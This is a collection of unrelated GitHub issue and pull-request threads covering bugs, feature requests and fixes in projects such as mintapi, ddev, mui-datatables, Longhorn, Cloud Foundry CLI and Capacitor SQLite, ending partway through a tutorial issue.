failed to fetch key bag

Hi,
Thank you for your excellent work done. I have an bug that occurs when downloading Backup.
iOS 9.3.2
I try to download with other library i.e ricloud and its work fine.
sample out put looks like.
KeyBagClient - -- keyBag() - keybag UUID: K:fSpKrgFWR0+pTYQVorjAkA==
KeyBagManager - -- keyBagClient() - IOException: com.github.horrorho.inflatabledonkey.exception.BadDataException KeyBagFactory, no key bag data
KeyBagManager -  --fetchKeyBag() - failed to fetch key bag: K:fSpKrgFWR0+pTYQVorjAkA==
KeyBlobCurve25519Unwrap - -- doUnwrap() - no public key for protection class: 3
FileAssembler - -- decrypt() - failed to unwrap encryption key
Thank you for the help and your hard work on this project.

Duplicate #36.

This has been reported previously. In that case other tools also had issues with the recovery process. The presumption was that the backup itself was probably faulty.
Are you able to test the backup by restoring it successfully to a device or by using another iCloud recovery tool?


how to play a midi with Chord ..

the chaosHarmonizer example don't run everything..
let midi = MIDI(name: "ChaosHarmonizer")
        midi.noteHandler = { messages in
            if let first = messages.first {
                if first.on {
                    let possibleChords = [
                        ChordQuality.Major,
                        ChordQuality.Minor,
                        ChordQuality.Sus2,
                        ChordQuality.Sus4,
                    ]

'''

The example isn't well documented – to use it, you'll need:

a MIDI keyboard for MIDI input
software that can receive MIDI input (e.g. a DAW like Ableton)

The harmonizer example takes MIDI input on one channel and outputs harmonized MIDI input on another channel.


Scrollbar y impossible to pull

When i pass option: "tableBodyMaxHeight" a scroollbar on right side is created, to prevent the table from overflowing outside the user screen, but it can't be clicked to pull (down, up). Now to get lower rows, you need to use mouse wheel.
To avoid this problem, the table must have padding from right, then the scrollbar is clickable.
Bug
I found that this problem is caused by a fixed width of div with class="PrivateSwipeArea-root-110 PrivateSwipeArea-anchorRight-112", which is set to 20px.

I'm unable to re-create this issue: https://codesandbox.io/s/muidatatables-custom-toolbar-rvmcj?file=/index.js

Hi, I figured it out. It does this if there is a swipeable drawer on the page: https://codesandbox.io/s/muidatatables-custom-toolbar-forked-gh76n?file=/index.js

I don't see the scrollbar in that codesandbox.

Because you have a higher resolution/monitor. Here it is adjusted for multiple records, to make the table scrollbar: https://codesandbox.io/s/muidatatables-custom-toolbar-forked-gh76n?file=/index.js

Now I see. The issue appears to be due to the SwipeableDrawer component. If you check out the dev tools, you can see that it overlaps where the scrollbar is:

That's why you can't grab the scroll bar, the component is on-top of it. I would say this isn't a mui-datatables issue, but rather an issue with how that component works. If you're going to include it, you'll need to add some padding on the right side of the table.


Docker image fails with http.client.RemoteDisconnected error (README example)

Describe the bug
When running the default Docker example from the README:
docker run --rm --shm-size=2g ghcr.io/mintapi/mintapi mintapi<EMAIL_ADDRESS>my_password --headless --use-chromedriver-on-path

mintapi fails with a Remote end closed connection without response error.
What version of MintAPI are you using?
Not sure how to tell what version of mintapi is in the Docker instance?
What command[s] did you run / steps to reproduce?
See above
What did you expect to happen?
Successful completion with mint data printed to console.
What actually happened?
Exceptioned out.
I suspect this is related to #546 and/or #553.
I'm not sure how to determine what version of chrome and chromedriver are in the Docker image. Is there a way to determine this and potentially have Docker builds for each of the most recent versions? That way we can back out to previous chrome versions if chrome-specific bugs pop up again.
Additional context
Add any other context about the problem here.
Stack trace is here:
Mint sync apparently incomplete after timeout.  Data retrieved may not be current.
Traceback (most recent call last):
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 703, in urlopen
    httplib_response = self._make_request(
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 449, in _make_request
    six.raise_from(e, None)
  File "<string>", line 3, in raise_from
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 444, in _make_request
    httplib_response = conn.getresponse()
  File "/usr/lib/python3.8/http/client.py", line 1348, in getresponse
    response.begin()
  File "/usr/lib/python3.8/http/client.py", line 316, in begin
    version, status, reason = self._read_status()
  File "/usr/lib/python3.8/http/client.py", line 285, in _read_status
    raise RemoteDisconnected("Remote end closed connection without"
http.client.RemoteDisconnected: Remote end closed connection without response

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/seluser/.local/bin/mintapi", line 8, in <module>
    sys.exit(main())
  File "/home/seluser/.local/lib/python3.8/site-packages/mintapi/cli.py", line 518, in main
    data = mint.get_account_data(limit=options.limit)
  File "/home/seluser/.local/lib/python3.8/site-packages/mintapi/api.py", line 262, in get_account_data
    return self.get_data(
  File "/home/seluser/.local/lib/python3.8/site-packages/mintapi/api.py", line 242, in get_data
    data = self.__get_mint_endpoint(endpoint, **kwargs)
  File "/home/seluser/.local/lib/python3.8/site-packages/mintapi/api.py", line 449, in __get_mint_endpoint
    response = self.get(
  File "/home/seluser/.local/lib/python3.8/site-packages/mintapi/api.py", line 162, in get
    return self.driver.request("GET", url, **kwargs)
  File "/home/seluser/.local/lib/python3.8/site-packages/seleniumrequests/request.py", line 159, in request
    self.requests_session.headers = get_webdriver_request_headers(self, proxy_host=self.__proxy_host)
  File "/home/seluser/.local/lib/python3.8/site-packages/seleniumrequests/request.py", line 76, in get_webdriver_request_headers
    webdriver.switch_to.window(original_window_handle)
  File "/home/seluser/.local/lib/python3.8/site-packages/selenium/webdriver/remote/switch_to.py", line 134, in window
    self._w3c_window(window_name)
  File "/home/seluser/.local/lib/python3.8/site-packages/selenium/webdriver/remote/switch_to.py", line 142, in _w3c_window
    send_handle(window_name)
  File "/home/seluser/.local/lib/python3.8/site-packages/selenium/webdriver/remote/switch_to.py", line 138, in send_handle
    self._driver.execute(Command.SWITCH_TO_WINDOW, {'handle': h})
  File "/home/seluser/.local/lib/python3.8/site-packages/selenium/webdriver/remote/webdriver.py", line 427, in execute
    response = self.command_executor.execute(driver_command, params)
  File "/home/seluser/.local/lib/python3.8/site-packages/selenium/webdriver/remote/remote_connection.py", line 344, in execute
    return self._request(command_info[0], url, body=data)
  File "/home/seluser/.local/lib/python3.8/site-packages/selenium/webdriver/remote/remote_connection.py", line 366, in _request
    response = self._conn.request(method, url, body=body, headers=headers)
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/request.py", line 78, in request
    return self.request_encode_body(
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/request.py", line 170, in request_encode_body
    return self.urlopen(method, url, **extra_kw)
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/poolmanager.py", line 376, in urlopen
    response = conn.urlopen(method, u.request_uri, **kw)
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 787, in urlopen
    retries = retries.increment(
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/util/retry.py", line 550, in increment
    raise six.reraise(type(error), error, _stacktrace)
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/packages/six.py", line 769, in reraise
    raise value.with_traceback(tb)
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 703, in urlopen
    httplib_response = self._make_request(
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 449, in _make_request
    six.raise_from(e, None)
  File "<string>", line 3, in raise_from
  File "/home/seluser/.local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 444, in _make_request
    httplib_response = conn.getresponse()
  File "/usr/lib/python3.8/http/client.py", line 1348, in getresponse
    response.begin()
  File "/usr/lib/python3.8/http/client.py", line 316, in begin
    version, status, reason = self._read_status()
  File "/usr/lib/python3.8/http/client.py", line 285, in _read_status
    raise RemoteDisconnected("Remote end closed connection without"
urllib3.exceptions.ProtocolError: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

I'm having an issue similar to @felciano - called differently, but with the same result.
mintapi --headless --no_wait_for_sync --accounts --transactions --include-investment --filename $mintTempDirectory my_username my_password

https://github.com/cryzed/Selenium-Requests/issues/53 has been fixed and released in selenium-requests 2.0.1. I verified it resolves this issue for me. Run pip install --upgrade mintapi 'selenium-requests>=2.0.1' to upgrade.

I just released mintapi 2.10 to pypi, which updates selenium-requests to 2.0.1. Please try that (or update your selenium-requests to the same) and let me know if that resolves the issue. Thanks!


V rerag branch

Hi,
The task 2715805 (Vendor: Link checking and updating in SharePoint repo) has been completed by our side. Kindly review the changes done in v-rerag branch.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: Reraghavan sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


Command Line Interface

I'm running ollama on a remote server and would like to interact with it from another machine via CLI and the REST API.
This should be pretty straightforward to do with a custom Client object in __main__.py. Usage from a terminal would be something like this:
python -m ollama --endpoint http://remotehost:11434 --model llama3 --message "Why is the sky blue?"
I'm interested in implementing this. Do folks have a preference for CLI parameter handling? I prefer absl.

I prefer Cyclopts

As mentioned in #185, a CLI is be out of scope of this repo


feature request: builds for aarch64

Hello,
I've came across your project from a reddit post. Nice work, many thanks.
It is just a pity that there's only x86-64 builds, so I cannot run oci-registry in a raspberry pi cluster (aarch64 , I believe target for rust is armv7-unknown-linux-gnueabihf, but I'm no expert).
Many thanks for publishing this and I'm looking forward for the feature to avoid duplication of upstream streams when fetching the same layer in parallel.

I'll look into getting multiarch images going w/ aarch64 support.  I expect it won't be too tough.

@theodiem I don't have any ARM devices to test on currently (my Pi is apparently offline :disappointed: ) but in theory, mcronce/oci-registry:v0.3.7 is now a multi-arch image with both x86-64 and aarch64 variants.  Do you mind pulling it on one of your Pis to see if it works?

I didn't create this issue, but I just tried on my MacBook M1 (with --platform linux/arm64 to disable amd64 emulation in containers) and it works fine. Also Docker Hub shows v0.3.7 as multiarch now. Thanks a lot!

@theodiem I don't have any ARM devices to test on currently (my Pi is apparently offline 😞 ) but in theory, mcronce/oci-registry:v0.3.7 is now a multi-arch image with both x86-64 and aarch64 variants. Do you mind pulling it on one of your Pis to see if it works?

@mcronce I was testing it (configuring it properly, not just executing it). It works fine for me, using the multiarch manifest. I did not need to pass --platform when running natively (as expected).
Just one thing, you might mention to test the containerd configuration you can do it with:  ctr --debug images pull --hosts-dir "/etc/containerd/certs.d" docker.io/library/alpine:latest .
Since depending on the cli it is used, the configuration might not be loaded (and then it is neither your/containerd fault - looking at you podman)

TIL you can use ctr images pull with --hosts-dir :)
Cool, I'll commit the changes.  Cheers!

Everything's committed/pushed up.  Currently the aarch64 image is larger (based on debian instead of distroless/cc-debian), and doesn't have any PGO/BOLT applied to the binary - but it should all be working, and the next version that's pushed should automatically get a multiarch image built for it


Support configuring migratable parameter of the default storage class

Is your feature request related to a problem? Please describe.
To use the volume live migration feature we need to set the migratable param in the storage class.
The parameter of the default storage class in the Longhorn chart is not configurable at the moment:
https://github.com/longhorn/longhorn/blob/c2ea9c02228da5702eae33a588d227dfd4be53da/chart/templates/storageclass.yaml
Describe the solution you'd like
Support the parameter in the Longhorn chart

@gitlawr better to create your own storage class with appropriate parameters for the harvester use case instead of relying on the default longhorn storage class. We really don't want the migratable parameter in the default storage class.

Thanks for the suggestion. Can you elaborate on the reason? I thought that the default storage class is kinda syntactic sugar and should be no different from a user-created one. And it would be a valid use case that in harvester we want all volumes to be migratable by default.

The only reason we even ship a default storage class is to make it easier to use longhorn.
But in reality one should always define their own storage classes for each purpose.
For the harvester case, what I recommend is to ship a storage class referencing the longhorn driver as part of harvester with the appropriate setup for harvester as part of harvester.
This way harvester can determine their own requirements and setup independent from longhorns default, that might not suite the specific harvester case, in this case the migratable parameter is really purpose built to be used by harvester and we don't want to expose it to the user, since it will lead to bad outcomes without them fully understanding the requirements + necessary flow for that type of setup.


If the header contains ! (exclamation mark) then the type and subject are treated as empty

If the header contains ! (exclamation mark) in type/scope part (to indicate breaking changes), then the type and subject are treated as empty.
This behavior occurs even if I disable subject-exclamation-mark rule:
        "subject-exclamation-mark": [0, "always"],

Hmm, I can't seem to reproduce. Does the same thing happen if you use commitlint directly? If not, what version of commitlint do you have installed?
You could also try enabling commitlint.preferBundledLibraries and seeing if that changes anything.

commitlint CLI finds no errors in such COMMIT_MESSAGE file.
but commitliint extension does.
enabled commitlint.preferBundledLibraries option does not change this behavior.
commitlint CLI: 19.6.0
commitlint extension: 2.6.0
vscode: 1.95.3

I still don't see this behavior myself, but there is a suspiciously similar sounding issue in the commitlint repo.

yeah, looks similar, but I do not use semantic-release yet, and in my case it's the extension that complains, not the commitlint itself.


chore(notes): update release notes for 2019.07 release

Don't merge! Need to update with data toolbar PR once that finishes.
fixes https://github.com/patternfly/patternfly-next/issues/2234

PatternFly-Next preview: https://patternfly-next-pr-2235.surge.sh

:tada: This PR is included in version 2.31.6 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Add xc7a35tfgg484-1 extra data

As discussed on IRC. I think this is all that's required; since it's the same package as the base part, the pins shouldn't have to be changed. Unfortunately I can't do the real-name signoff, so if that's really required even for mostly copy-pasted one-line additions, I guess someone else will have to commit it. The PR should be useful for CI either way.

Hi,
Thank you for sending the pull request! It's awesome to see you contributing to this project. However, before I can look at this request you need to add DCO sign-off to commits in this repository.
We require DCO sign-off for all commits to this repository (including all authors). Please see the following URL to see more information and BeeWare also have a Beginners guide to DCOs.
You can use git commit --amend --signoff and then a git push --force to add the signoff. You can also use git rebase --signoff.
Thanks!


Update pom.xml with pom-scijava 37.0.0

Updates the pom-scijava version from 35.1.0 to 37.0.0
KeymapManager, MastodonDebugSettings, WorkaroundConstructor and WorkaroundRepresenter needed to be adapted as well, since the empty constructors of Representer and Constructor do no exist anymore

I thinks we could also solve this by merging into dev the rework-app-model branch.
The latter is a recent attempt to make API breaking changes fixing my faulty design choices when I was young. It contains fixes for this issue. For instance:
https://github.com/mastodon-sc/mastodon/blob/rework-app-model/src/main/java/org/mastodon/io/yaml/WorkaroundConstructor.java
Then once in dev we can update the pom parent.
What do you think?


Cannot add MarcelloDB to my project

Hi all.
I'm very interested about using MarcelloDB in my project but i cannot add it through nuget because my profile (259).
¿How can i solve it? ¿Which profiles are supported?
Thanks in advance

Hi Daraciel,
Currently, MarcelloDB is built for profile 111. In theory I guess i can build it for 259, however, there is no platform support for Silverlight.
Would 111 work for you?

Thanks! I have changed to profile 111 and it works.
Now i gonna try it. Exists any sample project wich i can see?
Thanks you in advance


ci: harden workflow permissions

This hardens the workflow permissions so that jobs only have the permissions they need - it's unclear to me from the docs if scorecard currently understands this is the most secure approach (as its docs to me imply it it thinks permissions: read-all is best), but that's a scorecard problem.
In doing this, we do harden the permissions of a few jobs that were getting permissions they don't actually need.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 61.63%. Comparing base (b28c1c8) to head (aaa30c9).
Report is 36 commits behind head on main.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #872      +/-   ##
==========================================
+ Coverage   59.78%   61.63%   +1.84%
==========================================
  Files         136      144       +8
  Lines       11268     9190    -2078
==========================================
- Hits         6737     5664    -1073
+ Misses       4102     3049    -1053
- Partials      429      477      +48

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

I don't know for sure this is was entirely because of this change, but we have gone from about a 7.6 to an 8 🎉


disk_quota incorrectly blocked using v3-apply-manifest

Please fill out the issue checklist below and provide ALL the requested information.

[x] I reviewed open and closed github issues that may be related to my problem.
[x] I tried updating to the latest version of the CF CLI to see if it fixed my problem.
[x] I attempted to run the command with CF_TRACE=1 to help debug the issue.
[x] I am reporting a bug that others will be able to reproduce.

Describe the bug and the command you saw an issue with
NOTE: We have a custom disk_quota set to 4096 MB.
using cf push, I can push an app with this manifest specifying a disk_quota of 4096 MB:
---
applications:
- name: test-python-flask
  random-route: true
  buildpacks:
    - python_buildpack
  memory: 256M
  disk_quota: 4096MB

Using cf v3-apply-manifest -f ./manifest.yml, I get the error disk_quota too much disk requested (requested 4096 MB - must be less than 2048 MB)
What happened
I get the error disk_quota too much disk requested (requested 4096 MB - must be less than 2048 MB)
Expected behavior
I should be able to use the full disk quota allowed
To Reproduce
Steps to reproduce the behavior; include the exact CLI commands and verbose output:

Have an environment with a custom maximum_app_disk_in_mb, higher than 2048MB
use cf v3-apply-manifest with a manifest requesting more than 2048MB, but less than maximum_app_disk_in_mb disk quota
See error

Provide more context

Mac OS X 10.14 iTerm
cf version 6.46.0+29d6257f1.2019-07-09
2.138.0

Note: As of January 2019, we no longer support API versions older than CF Release v284/CF Deployment v1.7.0 (CAPI Release: 1.46.0 (APIs 2.100.0 and 3.35.0).

Is there any update on this issue?

thanks for bumping! @ssisil & @ankitjain1988 & @selzoc this seems like a scheduleable one, no?

scheduled

Thanks for taking a look, @cwlbraa and @selzoc !

Hi @bengerman13,
Thanks for writing, and thank you for your patience. @piyalibanerjee and I were able to take a look at this today and replicated the issue with cf v3-apply-manifest not recognizing the maximum_app_disk_in_mb  property that you updated on api instances.
The reason why this was happening is because applying a manifest happens on an async job executed by a cloud_controller_worker. Therefore you need to make sure that the maximum_app_disk_in_mb configuration is on your cloud_controller_worker jobs (as well as cloud_controller_ng jobs, to make sure that synchronous and async application updates have the same config values).
If you're using the topology found in cf-deployment, the following ops file should work. (We just gave it a try and confirmed that it fixed the issue when we replicated it).
- type: replace
  path: /instance_groups/name=cc-worker/jobs/name=cloud_controller_worker/properties/cc/maximum_app_disk_in_mb?
  value: 4096
- type: replace
  path: /instance_groups/name=api/jobs/name=cloud_controller_ng/properties/cc/maximum_app_disk_in_mb?
  value: 4096

Please let us know if you run into any further problems,
Piyali and Renee

Thanks @reneighbor - we'll give it a try!

@bengerman13 did this work for you?

I'm gonna assume this worked for you because the other issue was closed :)


adding support for creating enrollments without autocomplete

This will officially close #85

I'm not folding on the hash syntax for if, because most editors mark that as the keyword if and not the symbol in the new syntax.

Also we should fix the hound config to allow our form of method chaining across lines, since it's way more readable than what hound wants.
Ex.
Hound doesn't like:
Course.where(conditions)
      .order(columns)

And instead wants:
Course.where(conditions).
       order(columns)

Which to me is less readable.

Agreed. Config is huge though. We should set aside some time to go through
it.
On Tue, Apr 28, 2015 at 12:24 PM Andrew Mason<EMAIL_ADDRESS>wrote:

Also we should fix the hound config to allow our form of method chaining
across lines, since it's way more readable than what hound wants.
Ex.
Hound doesn't like:
Course.where(conditions)
.order(columns)
And instead wants:
Course.where(conditions).
order(columns)
Which to me is less readable.
—
Reply to this email directly or view it on GitHub
https://github.com/hacsoc/the_jolly_advisor/pull/116#issuecomment-97126310
.

Coverage remained the same at 81.71% when pulling a1bf7e210922359f23359e97b3f5c6908915f1b2 on scheduler-sans-autocomplete into 173b99a4ef5ba43c93887d464967e403d763d4e1 on master.

Coverage remained the same at 81.71% when pulling a1bf7e210922359f23359e97b3f5c6908915f1b2 on scheduler-sans-autocomplete into 173b99a4ef5ba43c93887d464967e403d763d4e1 on master.

@StephHippo am I fixing the style config on this PR or are we merging this and doing that later?

:+1:  Hound can wait. It's the configs, not you. #mergeitshipit


Changed order to ord to avoid highlighting miss match

Typofix
Changed variable name "order" to "ord" to avoid highlighting miss match with the reserved word "order" (order/sorting operator)

Build failed with no build report. Closing and reopening to begin new build.

Build again failed with no build report. Trying one more time...


Clean up hostnames when removing project data

The Problem/Issue/Bug:
#831: The user's hosts file eventually becomes polluted after having many project hostnames added to it. Currently, ddev makes no effort to remove a hostname entry after it has been added.
How this PR Solves The Problem:
Add the ability to remove a hostname via the ddev hostname command:
ddev hostname --remove my.host <IP_ADDRESS>`

Remove hostname entries from the user's hosts file on ddev remove --remove-data.  Removing a hostname on ddev remove --remove-data and ddev hostname --remove mimic the output and structure of existing hostname addition code.
User-facing output in ddev hostname has been improved.
Manual Testing Instructions:

Add a hostname via ddev hostname test.host <IP_ADDRESS> and ensure the hostname has been added to the hosts file
Remove the same hostname via ddev hostname test.host <IP_ADDRESS> --remove and ensure the hostname has been removed from the hosts file

Test the above steps with and without sudo and the --json-output to inspect output and error logging.

Add a new and unique FQDN or hostname to a ddev project's .ddev/config.yaml
Execute ddev start on the project and ensure the new hostnames have been added to the hosts files
Execute ddev remove --remove-data on the project and ensure the project's hostnames have been removed from the hosts file

Test the above steps with and without DRUD_NONINTERACTIVE to see non-interactive instruction logging.
Automated Testing Overview:

Related Issue Link(s):
Release/Deployment notes:

Quick glance looks fantastic. How about a --all which would only remove those that match our default domain (and maybe that aren't currently active? or could only be executed when nothing is running?)

Wow... as a side comment, thank you for such thoroughness on the coverage as well as the testing instructions.

Agreed, I'll add this here.
I disallowed ddev remove --remove-data --all because that seemed to be an exceptionally destructive command for users that are doing real work with ddev.  I'm willing to revisit this, but giving a user the ability to blow away everything seemed dangerous.
I can see that becoming annoying.  I specifically put this under the --remove-data option because I'm an avid ddev rm user and didn't want to constantly type my password for sudo, either.

Thanks for the follow-ups. Everything you said makes sense and I'm +1

First thing I wanted to do was use --fire-bazooka (and thanks for adding that). But:
$ ddev hostname --remove-inactive
Hostname localhost at <IP_ADDRESS> is active, preserving
Removed hostname randyfay.ddev.local at <IP_ADDRESS>
Removed hostname d8git.ddev.local at <IP_ADDRESS>
Removed hostname one.ddev.local at <IP_ADDRESS>
Removed hostname two.ddev.local at <IP_ADDRESS>
Removed hostname testoverride.ddev.local at <IP_ADDRESS>
Removed hostname a.b.c.ddev.local at <IP_ADDRESS>
Removed hostname coe.ddev.local at <IP_ADDRESS>
Removed hostname typo3-v9-composer-from-instructions.ddev.local at <IP_ADDRESS>
Removed hostname d8composer.ddev.local at <IP_ADDRESS>
Removed hostname peakhrconsulting.com.ddev.local at <IP_ADDRESS>
Removed hostname rfay-drupal8.ddev.local at <IP_ADDRESS>
Removed hostname ddevt3dd18.ddev.local at <IP_ADDRESS>
Removed hostname typo3-v9-composer.ddev.local at <IP_ADDRESS>
Removed hostname satirtraining.ddev.local at <IP_ADDRESS>
Removed hostname junker999.ddev.local at <IP_ADDRESS>
Removed hostname d7git.ddev.local at <IP_ADDRESS>
Removed hostname wordpress.ddev.local at <IP_ADDRESS>
Removed hostname d8incontainer.ddev.local at <IP_ADDRESS>
Removed hostname gchistory.ddev.local at <IP_ADDRESS>
Removed hostname typo3-v8-composer.ddev.local at <IP_ADDRESS>
Removed hostname junk.ddev.local at <IP_ADDRESS>
Removed hostname junk.d8git.com at <IP_ADDRESS>
Removed hostname mysite.com at <IP_ADDRESS>
Removed hostname somesite.yoursite.com at <IP_ADDRESS>
Removed hostname anothersite.yoursite.com at <IP_ADDRESS>
Removed hostname junk.com at <IP_ADDRESS>
Removed hostname drupal-kickstart.ddev.local at <IP_ADDRESS>
Removed hostname drupal8.ddev.local at <IP_ADDRESS>
Removed hostname backdrop.ddev.local at <IP_ADDRESS>
Removed hostname d6git.ddev.local at <IP_ADDRESS>
Removed hostname d7-kickstart.ddev.local at <IP_ADDRESS>
Removed hostname wordpress4.ddev.local at <IP_ADDRESS>
Removed hostname d8-umami.ddev.local at <IP_ADDRESS>
Removed hostname junktypo3.ddev.local at <IP_ADDRESS>
Removed hostname t3git.ddev.local at <IP_ADDRESS>
Removed hostname testpkgdrupal7.ddev.local at <IP_ADDRESS>
Removed hostname testvalidtestsitewordpress.ddev.local at <IP_ADDRESS>
Could not write hosts file: open /etc/hosts: permission denied

Note that it shows many successes, but nothing actually worked (as it tells us at the very end)
I'd hate to have ddev hostname have to sudo itself; maybe it can just check for writeablility before taking action (using goodhosts doing a no-op) and if it can't do it, suggest the correct command?
Also, remember that this is a really serious problem for windows users, so we may have to help them along the way on it.
FInally, really important: If we don't have a reason to believe ddev put the hostname in there, we shouldn't remove it (That's why I was suggesting filtering on ddev.local - or the configured TLD.)
I saw this:
Removed hostname something.com at <IP_ADDRESS>
Removed hostname somethingelse.com at <IP_ADDRESS>

and realized that ddev could have cleaned up some things it absolutely didn't own.

Good points @rfay, this will now only remove ddev.local domains (at least until we can get a persistent record of all projects to work from) and attempts a trivial write first to confirm permissions.

Still looks great to me. Thanks!


Add Nong Song: League Of Legends - Legends Never Die (onumi remix)

Song Name
Legends Never Die (remix)
Artist Name
onumi
Source
Youtube
Youtube Link
unE2xjAUG7M
Direct File Link
No response
Song ID
1266782
Start Offset [ms]
No response
Extra
No response

accept


'tupleBatch' object has no attribute 'stores_as'

When I run the gnn.py, in line 156 the error 'tupleBatch' object has no attribute 'stores_as' occurred. It looks so strange and I don't know why this happen. Could you please tell me how to solve this?

This error might be caused by the PyG dataloader. Please make sure you install the latest PyG version correctly. You can run the UPFD PyG official example. If an error still occurs, please report the error to PyG project.

I encountered the exact problem in my code! Did you solve the problem with your code? I did install the lastest torch_geometric version, but it still showed that there was an error.

@Yuchen0116 You can try to load the dataset using the pyg official example or install pyg 1.6.1 instead of 2.0+ version.


feat(pixels): added my new pixel

Checklist

[ ] I ran npm test locally and it passed without errors.

[ ] I only edited the _data/pixels.json file.

[ ] I entered the username in the pixels.json that I'm also using to create this pull request.
[ ] I acknowledge that all my contributions will be made under the project's license.

hi @dckay7 -- it looks like you've already contributed a pixel, in https://github.com/twilio-labs/open-pixel-art/pull/984
We ask that each contributor limit themselves to one pixel, to leave space for others. But you're welcome to contribute docs or code to the project, if you'd like to give back in some other way.


Get DB Path or file URI

Is your feature request related to a problem? Please describe.
I would like to be able to export a conformed SQLite database (e.g. using the Share API). I haven't found any easy way to get the full directory/path or file URI for a given DB name.
Describe the solution you'd like
If it doesn't exist already, provide a method to retrieve either the directory and path -OR- file URI for a given DB name. This would be similar to Filesystem plugin and would allow to leverage the Share API.
Describe alternatives you've considered
To export as JSON or CSV instead.
Additional context
I really appreciate this plugin!!

@adamtec thanks for using the plugin and thanks for your query. I will have a look at the Share API to understand your query. Can you explain how do you want to use it so i can well understand your query. From my side create a new method to get the database path is not a problem.  What about security issue. On iOS, the database location will certainly be changed As today the location is backup on the cloud.

@chriswep can you also give me your opinion on this before i start looking at it thanks in advance

@adamtec if you do not give me more explanation i will close the issue. I look for sharing a db to a iPhone simulator and i can share a db only On my iPhone sub-folder not on a full given path.

Sorry for delay- I've been traveling. For an application that I am working on, users connect to BLE devices that broadcast sensor measurements. The user is able to create recordings of this measurement data. I am currently saving each of these recordings as a separate sqlite DB. I also currently allow exporting the recording (sqlite tables) as a CSV file for later, offline post-processing. This requires parsing the entire DB record to create a CSV. It would be preferable to be able to export the entire sqlite DB as another option.

import { Share } from '@capacitor/share';
import {  CapacitorSQLite } from '@capacitor-community/sqlite';

const sqlite = new SQLiteConnection(CapacitorSQLite);
const db =  await sqlite.createConnection('record-1234', false, "no-encryption", 1);
await db.open()

// ... Perform some transactions
// ... User requests to export record DB

const dbUri = await db.getUri() // <- This would be new method

// Use Share API to export
await Share.share({ title: 'Share Record', url: uri, dialogTitle: 'Share Record' });

@adamtec OK it is for an export not an import what about the security of your database.

The databases that I would expose would be for user created, unencrypted DBs (intended to be shared). I would not expose the core encrypted DB used to store app state, etc.

@adamtec this is fix in 3.3.3-4

@adamtec the way to use it
                // Use Share API to export
                const url = `file://${(await db.getUrl()).url}`;
                console.log(`shareUrl: ${url}`)
                await Share.share({ title: 'Share Record', url: url, dialogTitle: 'Share Record' });

@adamtec it works on iOS not on Android

@adamtec the Share plugin in ANDROID allows to look at folder starting with /storage/emulated/0 or /data/data/YOUR_APPLICATION/cache so it cannot find the root that contains the path /data/data/YOUR_APPLICATION/databases/YOURDBSQLite.db so there is nothing i can do

Hey @jepiqueau, thank you so much for adding this feature. iOS is my main focus so this works great! Perhaps, I can follow up with Capacitor/Ionic to see if Share API root path can be extended.

@adamtec yes if you could raise an issue that will help as i will be travelling tomorrow keep me aware

@adamtec i integrate file://directly in the returned url:
               // Use Share API to export
                const url = (await db.getUrl()).url;
                console.log(`&&& shareUrl: ${url}`)
                await Share.share({ title: 'Share Record', url: url, dialogTitle: 'Share Record' });

in fact on Android it is not an error of the Share plugin. In the file_paths.xml you cannot address the databases folder. To make it working i would have to move the databases from the databases folder to the files/databases folder. May be i will go for this but it is quite some changes.


add intellij support for GenIso.fields

see https://github.com/julien-truffaut/Monocle/issues/295

FYI: this is where the magic happens:
https://github.com/JetBrains/intellij-scala/blob/idea15.x/src/org/jetbrains/plugins/scala/lang/psi/impl/toplevel/typedef/MonocleInjector.scala
There's a test too:
https://github.com/JetBrains/intellij-scala/blob/idea15.x/test/org/jetbrains/plugins/scala/lang/macros/MonocleLensesTest.scala

Thanks for the links

I don't know how to do what we need here.
Asking for help: https://devnet.jetbrains.com/thread/475750

Will review macro for Scala 3


Allow RequestCache.store/1 with no options

Allows to use the default settings without specifying an empty list as the second argument to RequestCache.store/2

Awesome, thanks for the PR, just slight feedback on the test and i'll merge it in!


[improve][misc] Upgrade jersey to 2.41

Motivation
Keep the Jersey up-to-date.
Release note: https://github.com/eclipse-ee4j/jersey/releases/tag/2.41
Modifications

Upgrade Jersey from 2.34 to 2.41

Documentation

[ ] doc
[ ] doc-required
[x] doc-not-needed
[ ] doc-complete

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 73.68%. Comparing base (bbc6224) to head (e3e034c).
Report is 63 commits behind head on master.

Additional details and impacted files

@@             Coverage Diff              @@
##             master   #22290      +/-   ##
============================================
+ Coverage     73.57%   73.68%   +0.10%
+ Complexity    32624    32259     -365
============================================
  Files          1877     1887      +10
  Lines        139502   139446      -56
  Branches      15299    15293       -6
============================================
+ Hits         102638   102750     +112
+ Misses        28908    28746     -162
+ Partials       7956     7950       -6

Flag
Coverage Δ

inttests
26.92% <ø> (+2.34%)
:arrow_up:

systests
24.56% <ø> (+0.24%)
:arrow_up:

unittests
72.92% <ø> (+0.07%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.
see 94 files with indirect coverage changes


Create a Cached OData Service for Improved Offline OData - metadata.csdl.cml code mismatches

Tutorials: https://developers.sap.com/tutorials/cp-mobile-backend-tools-cache-db.html
The code listing at the end of Step 3 for formetadata.csdl.cml does not match the code changes specified in steps 2 and 3:
